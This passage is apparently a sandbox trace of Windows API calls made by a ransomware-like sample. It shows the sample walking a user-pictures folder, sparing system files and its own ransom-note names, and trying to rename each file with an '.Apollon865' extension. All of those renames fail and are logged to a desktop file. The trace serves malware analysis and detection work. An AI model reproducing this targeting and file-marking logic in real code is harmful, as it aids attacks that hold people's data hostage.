	[0080.101] lstrcmpiW (lpString1="usertile21.bmp", lpString2="perflogs") returned 1
	[0080.101] lstrcmpiW (lpString1="usertile21.bmp", lpString2="MSBuild") returned 1
	[0080.101] lstrlenW (lpString="usertile21.bmp") returned 14
	[0080.101] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp") returned 82
	[0080.101] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile21.bmp" | out: lpString1="usertile21.bmp") returned="usertile21.bmp"
	[0080.101] lstrlenW (lpString="usertile21.bmp") returned 14
	[0080.101] lstrlenW (lpString="Apollon865") returned 10
	[0080.101] lstrcmpiW (lpString1="tile21.bmp", lpString2="Apollon865") returned 1
	[0080.101] lstrlenW (lpString=".dll") returned 4
	[0080.101] lstrcmpiW (lpString1="usertile21.bmp", lpString2=".dll") returned 1
	[0080.101] lstrlenW (lpString=".lnk") returned 4
	[0080.101] lstrcmpiW (lpString1="usertile21.bmp", lpString2=".lnk") returned 1
	[0080.101] lstrlenW (lpString=".ini") returned 4
	[0080.101] lstrcmpiW (lpString1="usertile21.bmp", lpString2=".ini") returned 1
	[0080.101] lstrlenW (lpString=".sys") returned 4
	[0080.102] lstrcmpiW (lpString1="usertile21.bmp", lpString2=".sys") returned 1
	[0080.102] lstrlenW (lpString="usertile21.bmp") returned 14
	[0080.102] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp.Apollon865") returned 93
	[0080.102] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile21.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile21.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.102] GetLastError () returned 0x5
	[0080.102] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp MoveFileEx error 5\r\n") returned 111
	[0080.102] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp MoveFileEx error 5\r\n") returned 111
	[0080.102] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.102] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4c51
	[0080.102] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.103] CloseHandle (hObject=0x9c) returned 1
	[0080.103] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.103] CloseHandle (hObject=0x0) returned 0
	[0080.103] CloseHandle (hObject=0x0) returned 0
	[0080.103] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3a60b9, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3a60b9, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd09009d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile22.bmp", cAlternateFileName="")) returned 1
	[0080.103] lstrcmpiW (lpString1="usertile22.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.103] lstrcmpiW (lpString1="usertile22.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.103] lstrcmpiW (lpString1="usertile22.bmp", lpString2=".") returned 1
	[0080.103] lstrcmpiW (lpString1="usertile22.bmp", lpString2="..") returned 1
	[0080.103] lstrcmpiW (lpString1="usertile22.bmp", lpString2="windows") returned -1
	[0080.103] lstrcmpiW (lpString1="usertile22.bmp", lpString2="bootmgr") returned 1
	[0080.103] lstrcmpiW (lpString1="usertile22.bmp", lpString2="temp") returned 1
	[0080.103] lstrcmpiW (lpString1="usertile22.bmp", lpString2="pagefile.sys") returned 1
	[0080.103] lstrcmpiW (lpString1="usertile22.bmp", lpString2="boot") returned 1
	[0080.103] lstrcmpiW (lpString1="usertile22.bmp", lpString2="ids.txt") returned 1
	[0080.103] lstrcmpiW (lpString1="usertile22.bmp", lpString2="ntuser.dat") returned 1
	[0080.103] lstrcmpiW (lpString1="usertile22.bmp", lpString2="perflogs") returned 1
	[0080.103] lstrcmpiW (lpString1="usertile22.bmp", lpString2="MSBuild") returned 1
	[0080.103] lstrlenW (lpString="usertile22.bmp") returned 14
	[0080.103] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp") returned 82
	[0080.103] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile22.bmp" | out: lpString1="usertile22.bmp") returned="usertile22.bmp"
	[0080.103] lstrlenW (lpString="usertile22.bmp") returned 14
	[0080.103] lstrlenW (lpString="Apollon865") returned 10
	[0080.103] lstrcmpiW (lpString1="tile22.bmp", lpString2="Apollon865") returned 1
	[0080.103] lstrlenW (lpString=".dll") returned 4
	[0080.103] lstrcmpiW (lpString1="usertile22.bmp", lpString2=".dll") returned 1
	[0080.103] lstrlenW (lpString=".lnk") returned 4
	[0080.103] lstrcmpiW (lpString1="usertile22.bmp", lpString2=".lnk") returned 1
	[0080.103] lstrlenW (lpString=".ini") returned 4
	[0080.103] lstrcmpiW (lpString1="usertile22.bmp", lpString2=".ini") returned 1
	[0080.103] lstrlenW (lpString=".sys") returned 4
	[0080.103] lstrcmpiW (lpString1="usertile22.bmp", lpString2=".sys") returned 1
	[0080.103] lstrlenW (lpString="usertile22.bmp") returned 14
	[0080.104] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp.Apollon865") returned 93
	[0080.104] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile22.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile22.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.104] GetLastError () returned 0x5
	[0080.104] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp MoveFileEx error 5\r\n") returned 111
	[0080.104] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp MoveFileEx error 5\r\n") returned 111
	[0080.104] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.105] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4cc0
	[0080.105] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.105] CloseHandle (hObject=0x9c) returned 1
	[0080.105] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.105] CloseHandle (hObject=0x0) returned 0
	[0080.105] CloseHandle (hObject=0x0) returned 0
	[0080.105] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3cc216, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3cc216, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd0b61fb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile23.bmp", cAlternateFileName="")) returned 1
	[0080.105] lstrcmpiW (lpString1="usertile23.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.105] lstrcmpiW (lpString1="usertile23.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.105] lstrcmpiW (lpString1="usertile23.bmp", lpString2=".") returned 1
	[0080.105] lstrcmpiW (lpString1="usertile23.bmp", lpString2="..") returned 1
	[0080.105] lstrcmpiW (lpString1="usertile23.bmp", lpString2="windows") returned -1
	[0080.105] lstrcmpiW (lpString1="usertile23.bmp", lpString2="bootmgr") returned 1
	[0080.105] lstrcmpiW (lpString1="usertile23.bmp", lpString2="temp") returned 1
	[0080.105] lstrcmpiW (lpString1="usertile23.bmp", lpString2="pagefile.sys") returned 1
	[0080.106] lstrcmpiW (lpString1="usertile23.bmp", lpString2="boot") returned 1
	[0080.106] lstrcmpiW (lpString1="usertile23.bmp", lpString2="ids.txt") returned 1
	[0080.106] lstrcmpiW (lpString1="usertile23.bmp", lpString2="ntuser.dat") returned 1
	[0080.106] lstrcmpiW (lpString1="usertile23.bmp", lpString2="perflogs") returned 1
	[0080.106] lstrcmpiW (lpString1="usertile23.bmp", lpString2="MSBuild") returned 1
	[0080.106] lstrlenW (lpString="usertile23.bmp") returned 14
	[0080.106] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp") returned 82
	[0080.106] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile23.bmp" | out: lpString1="usertile23.bmp") returned="usertile23.bmp"
	[0080.106] lstrlenW (lpString="usertile23.bmp") returned 14
	[0080.106] lstrlenW (lpString="Apollon865") returned 10
	[0080.106] lstrcmpiW (lpString1="tile23.bmp", lpString2="Apollon865") returned 1
	[0080.106] lstrlenW (lpString=".dll") returned 4
	[0080.106] lstrcmpiW (lpString1="usertile23.bmp", lpString2=".dll") returned 1
	[0080.106] lstrlenW (lpString=".lnk") returned 4
	[0080.106] lstrcmpiW (lpString1="usertile23.bmp", lpString2=".lnk") returned 1
	[0080.106] lstrlenW (lpString=".ini") returned 4
	[0080.106] lstrcmpiW (lpString1="usertile23.bmp", lpString2=".ini") returned 1
	[0080.106] lstrlenW (lpString=".sys") returned 4
	[0080.106] lstrcmpiW (lpString1="usertile23.bmp", lpString2=".sys") returned 1
	[0080.106] lstrlenW (lpString="usertile23.bmp") returned 14
	[0080.106] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp.Apollon865") returned 93
	[0080.106] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile23.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile23.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.106] GetLastError () returned 0x5
	[0080.106] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp MoveFileEx error 5\r\n") returned 111
	[0080.106] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp MoveFileEx error 5\r\n") returned 111
	[0080.106] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.107] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4d2f
	[0080.107] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.107] CloseHandle (hObject=0x9c) returned 1
	[0080.107] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.107] CloseHandle (hObject=0x0) returned 0
	[0080.107] CloseHandle (hObject=0x0) returned 0
	[0080.107] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd232fa7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile24.bmp", cAlternateFileName="")) returned 1
	[0080.107] lstrcmpiW (lpString1="usertile24.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.107] lstrcmpiW (lpString1="usertile24.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.107] lstrcmpiW (lpString1="usertile24.bmp", lpString2=".") returned 1
	[0080.107] lstrcmpiW (lpString1="usertile24.bmp", lpString2="..") returned 1
	[0080.107] lstrcmpiW (lpString1="usertile24.bmp", lpString2="windows") returned -1
	[0080.107] lstrcmpiW (lpString1="usertile24.bmp", lpString2="bootmgr") returned 1
	[0080.107] lstrcmpiW (lpString1="usertile24.bmp", lpString2="temp") returned 1
	[0080.108] lstrcmpiW (lpString1="usertile24.bmp", lpString2="pagefile.sys") returned 1
	[0080.108] lstrcmpiW (lpString1="usertile24.bmp", lpString2="boot") returned 1
	[0080.108] lstrcmpiW (lpString1="usertile24.bmp", lpString2="ids.txt") returned 1
	[0080.108] lstrcmpiW (lpString1="usertile24.bmp", lpString2="ntuser.dat") returned 1
	[0080.108] lstrcmpiW (lpString1="usertile24.bmp", lpString2="perflogs") returned 1
	[0080.108] lstrcmpiW (lpString1="usertile24.bmp", lpString2="MSBuild") returned 1
	[0080.108] lstrlenW (lpString="usertile24.bmp") returned 14
	[0080.108] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp") returned 82
	[0080.108] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile24.bmp" | out: lpString1="usertile24.bmp") returned="usertile24.bmp"
	[0080.108] lstrlenW (lpString="usertile24.bmp") returned 14
	[0080.108] lstrlenW (lpString="Apollon865") returned 10
	[0080.108] lstrcmpiW (lpString1="tile24.bmp", lpString2="Apollon865") returned 1
	[0080.108] lstrlenW (lpString=".dll") returned 4
	[0080.108] lstrcmpiW (lpString1="usertile24.bmp", lpString2=".dll") returned 1
	[0080.108] lstrlenW (lpString=".lnk") returned 4
	[0080.108] lstrcmpiW (lpString1="usertile24.bmp", lpString2=".lnk") returned 1
	[0080.108] lstrlenW (lpString=".ini") returned 4
	[0080.108] lstrcmpiW (lpString1="usertile24.bmp", lpString2=".ini") returned 1
	[0080.108] lstrlenW (lpString=".sys") returned 4
	[0080.108] lstrcmpiW (lpString1="usertile24.bmp", lpString2=".sys") returned 1
	[0080.108] lstrlenW (lpString="usertile24.bmp") returned 14
	[0080.108] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp.Apollon865") returned 93
	[0080.108] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile24.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile24.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.108] GetLastError () returned 0x5
	[0080.108] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp MoveFileEx error 5\r\n") returned 111
	[0080.108] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp MoveFileEx error 5\r\n") returned 111
	[0080.109] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.109] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4d9e
	[0080.109] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.109] CloseHandle (hObject=0x9c) returned 1
	[0080.109] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.109] CloseHandle (hObject=0x0) returned 0
	[0080.109] CloseHandle (hObject=0x0) returned 0
	[0080.109] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd259105, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile25.bmp", cAlternateFileName="")) returned 1
	[0080.109] lstrcmpiW (lpString1="usertile25.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.109] lstrcmpiW (lpString1="usertile25.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.109] lstrcmpiW (lpString1="usertile25.bmp", lpString2=".") returned 1
	[0080.109] lstrcmpiW (lpString1="usertile25.bmp", lpString2="..") returned 1
	[0080.109] lstrcmpiW (lpString1="usertile25.bmp", lpString2="windows") returned -1
	[0080.109] lstrcmpiW (lpString1="usertile25.bmp", lpString2="bootmgr") returned 1
	[0080.109] lstrcmpiW (lpString1="usertile25.bmp", lpString2="temp") returned 1
	[0080.109] lstrcmpiW (lpString1="usertile25.bmp", lpString2="pagefile.sys") returned 1
	[0080.110] lstrcmpiW (lpString1="usertile25.bmp", lpString2="boot") returned 1
	[0080.110] lstrcmpiW (lpString1="usertile25.bmp", lpString2="ids.txt") returned 1
	[0080.110] lstrcmpiW (lpString1="usertile25.bmp", lpString2="ntuser.dat") returned 1
	[0080.110] lstrcmpiW (lpString1="usertile25.bmp", lpString2="perflogs") returned 1
	[0080.110] lstrcmpiW (lpString1="usertile25.bmp", lpString2="MSBuild") returned 1
	[0080.110] lstrlenW (lpString="usertile25.bmp") returned 14
	[0080.110] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp") returned 82
	[0080.110] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile25.bmp" | out: lpString1="usertile25.bmp") returned="usertile25.bmp"
	[0080.110] lstrlenW (lpString="usertile25.bmp") returned 14
	[0080.110] lstrlenW (lpString="Apollon865") returned 10
	[0080.110] lstrcmpiW (lpString1="tile25.bmp", lpString2="Apollon865") returned 1
	[0080.110] lstrlenW (lpString=".dll") returned 4
	[0080.110] lstrcmpiW (lpString1="usertile25.bmp", lpString2=".dll") returned 1
	[0080.110] lstrlenW (lpString=".lnk") returned 4
	[0080.110] lstrcmpiW (lpString1="usertile25.bmp", lpString2=".lnk") returned 1
	[0080.110] lstrlenW (lpString=".ini") returned 4
	[0080.110] lstrcmpiW (lpString1="usertile25.bmp", lpString2=".ini") returned 1
	[0080.110] lstrlenW (lpString=".sys") returned 4
	[0080.110] lstrcmpiW (lpString1="usertile25.bmp", lpString2=".sys") returned 1
	[0080.110] lstrlenW (lpString="usertile25.bmp") returned 14
	[0080.110] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp.Apollon865") returned 93
	[0080.110] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile25.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile25.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.110] GetLastError () returned 0x5
	[0080.110] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp MoveFileEx error 5\r\n") returned 111
	[0080.110] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp MoveFileEx error 5\r\n") returned 111
	[0080.110] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.111] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4e0d
	[0080.111] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.111] CloseHandle (hObject=0x9c) returned 1
	[0080.111] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.111] CloseHandle (hObject=0x0) returned 0
	[0080.111] CloseHandle (hObject=0x0) returned 0
	[0080.111] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd27f263, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile26.bmp", cAlternateFileName="")) returned 1
	[0080.111] lstrcmpiW (lpString1="usertile26.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.111] lstrcmpiW (lpString1="usertile26.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.111] lstrcmpiW (lpString1="usertile26.bmp", lpString2=".") returned 1
	[0080.111] lstrcmpiW (lpString1="usertile26.bmp", lpString2="..") returned 1
	[0080.111] lstrcmpiW (lpString1="usertile26.bmp", lpString2="windows") returned -1
	[0080.111] lstrcmpiW (lpString1="usertile26.bmp", lpString2="bootmgr") returned 1
	[0080.111] lstrcmpiW (lpString1="usertile26.bmp", lpString2="temp") returned 1
	[0080.111] lstrcmpiW (lpString1="usertile26.bmp", lpString2="pagefile.sys") returned 1
	[0080.111] lstrcmpiW (lpString1="usertile26.bmp", lpString2="boot") returned 1
	[0080.111] lstrcmpiW (lpString1="usertile26.bmp", lpString2="ids.txt") returned 1
	[0080.111] lstrcmpiW (lpString1="usertile26.bmp", lpString2="ntuser.dat") returned 1
	[0080.112] lstrcmpiW (lpString1="usertile26.bmp", lpString2="perflogs") returned 1
	[0080.112] lstrcmpiW (lpString1="usertile26.bmp", lpString2="MSBuild") returned 1
	[0080.112] lstrlenW (lpString="usertile26.bmp") returned 14
	[0080.112] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp") returned 82
	[0080.112] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile26.bmp" | out: lpString1="usertile26.bmp") returned="usertile26.bmp"
	[0080.112] lstrlenW (lpString="usertile26.bmp") returned 14
	[0080.112] lstrlenW (lpString="Apollon865") returned 10
	[0080.112] lstrcmpiW (lpString1="tile26.bmp", lpString2="Apollon865") returned 1
	[0080.112] lstrlenW (lpString=".dll") returned 4
	[0080.112] lstrcmpiW (lpString1="usertile26.bmp", lpString2=".dll") returned 1
	[0080.112] lstrlenW (lpString=".lnk") returned 4
	[0080.112] lstrcmpiW (lpString1="usertile26.bmp", lpString2=".lnk") returned 1
	[0080.112] lstrlenW (lpString=".ini") returned 4
	[0080.112] lstrcmpiW (lpString1="usertile26.bmp", lpString2=".ini") returned 1
	[0080.112] lstrlenW (lpString=".sys") returned 4
	[0080.112] lstrcmpiW (lpString1="usertile26.bmp", lpString2=".sys") returned 1
	[0080.112] lstrlenW (lpString="usertile26.bmp") returned 14
	[0080.112] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp.Apollon865") returned 93
	[0080.112] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile26.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile26.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.113] GetLastError () returned 0x5
	[0080.113] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp MoveFileEx error 5\r\n") returned 111
	[0080.113] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp MoveFileEx error 5\r\n") returned 111
	[0080.113] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.113] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4e7c
